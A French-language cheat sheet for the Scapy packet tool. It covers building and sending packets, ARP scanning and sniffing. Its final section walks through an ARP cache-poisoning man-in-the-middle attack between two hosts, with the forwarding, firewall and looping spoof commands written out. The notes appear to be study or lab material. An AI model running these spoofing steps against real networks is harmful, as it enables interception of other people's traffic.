Scapy
Installation
Cloner le dépôt GitHub pour avoir la dernière version.
Installer les paquets ipython et tcpdump.
Lancer en root:
sudo ./run_scapy
Table de routage
Voir la table de routage
conf.route.route('<adresse>')
Cette table de routage est construite en copiant celle du système au démarrage de Scapy.
Construire un paquet
pkt = Ether(dst="<adresse mac>") / IP(dst="<adresse ip>") / UDP(dport=53) / DNS()
Décrire un paquet:
ls(IP())
Envoi de paquet
Envoi d'un paquet de niveau 3:
send(IP())
Envoi d'un paquet de niveau 2:
sendp(Ether() / IP(), iface='eth0')
Si attente d'une réponse: sr1() ou srp1()
Paquets ARP
srp1(Ether(dst=ETHER_BROADCAST, ARP(op="who-has", pdst="172.21.123.45")))
Envoi de paquets à une plage IP:
ans, unans = srp(Ether(dst=ETHER_BROADCAST, ARP(pdst="192.168.0.0/24")), timeout=2, retry=-2) ans.show() #: formate tous les paquets reçus de façon sympa
ans contient des couples (paquet_envoyé, paquet_reçu), unans contient les paquets envoyés sans réponses.
Connaître l'adresse MAC qui répond à une IP:
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", pdst="172.21.254.1"),timeout=2) results = [] for i in range(1,5): ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", pdst="172.21.254." + str(i)),timeout=2) results.append(ans[0][1].psrc + " " + ans[0][1].hwsrc) for x in results: print(x)
Paquets 802.1Q
Dot1Q()
Sniffer le réseau
pkts = sniff(filter="host A and tcp", prn=lambda p: p.summary)
ou pour mettre en forme l'affichage:
pkts = sniff(filter="host A and tcp", prn=lambda p: p.summary + p.sprintf("seq: %TCP.seq% ack: %TCP.ack%"))
Outils
Aléatoire (pour changer le port à chaque requête par exemple):
RandShort()
S'assurer que le paquet a les flags SYN et ACK activés:
[TCP].flags & 18
Spoofer le réseau
Récupérer le trafic entre les machines A et B:
- Activer le routage des paquets:
sudo sysctl net/ipv4/ip_forward=1
et désactiver les redirections de politesse:
sudo sysctl net/ipv4/conf/all/send_redirects=0
- Adapter le parefeu (pas de règles bizarres), notamment autoriser le forwarding:
sudo iptables -P FORWARD ACCEPT
- Récupérer les adresses MAC des adresses IP A et B:
srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="<ip A>",psrc="<ip pirate>")) srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="<ip B>",psrc="<ip pirate>"))
L'adresse MAC se trouve dans le champ
srcde la trame Ethernet. - Cache-poisoning des tables ARP de A et B:
sendp(Ether(src="<mac pirate>",dst="<mac B>")/ARP(op="who-has",psrc="<ip A>",pdst="<ip B>"), inter=1, loop=1) sendp(Ether(src="<mac pirate>",dst="<mac A>")/ARP(op="who-has",psrc="<ip B>",pdst="<ip A>"), inter=1, loop=1)
Si on met
inter=RandNum(10, 40), l'intervalle de temps varie entre 10 et 40 secondes (pas obligatoire),loop=1lance l'exécution en boucle. - Sniffer le réseau:
pkts = sniff(filter="host <ipA> or host <ipB>", prn=lambda p: p.summary)
Astuce: pour éviter de lancer deux instances de Scapy pour corrompre les tables:
pkts = [Ether(src="<mac pirate>",dst="<mac B>")/ARP(op="who-has",psrc="<ip A>",pdst="<ip B>"), Ether(src="<mac pirate>",dst="<mac A>")/ARP(op="who-has",psrc="<ip B>",pdst="<ip A>")] srploop(pkts, inter=1, store=False)
store=False permet d'éviter de stocker en mémoire les paquets, pour préserver la RAM.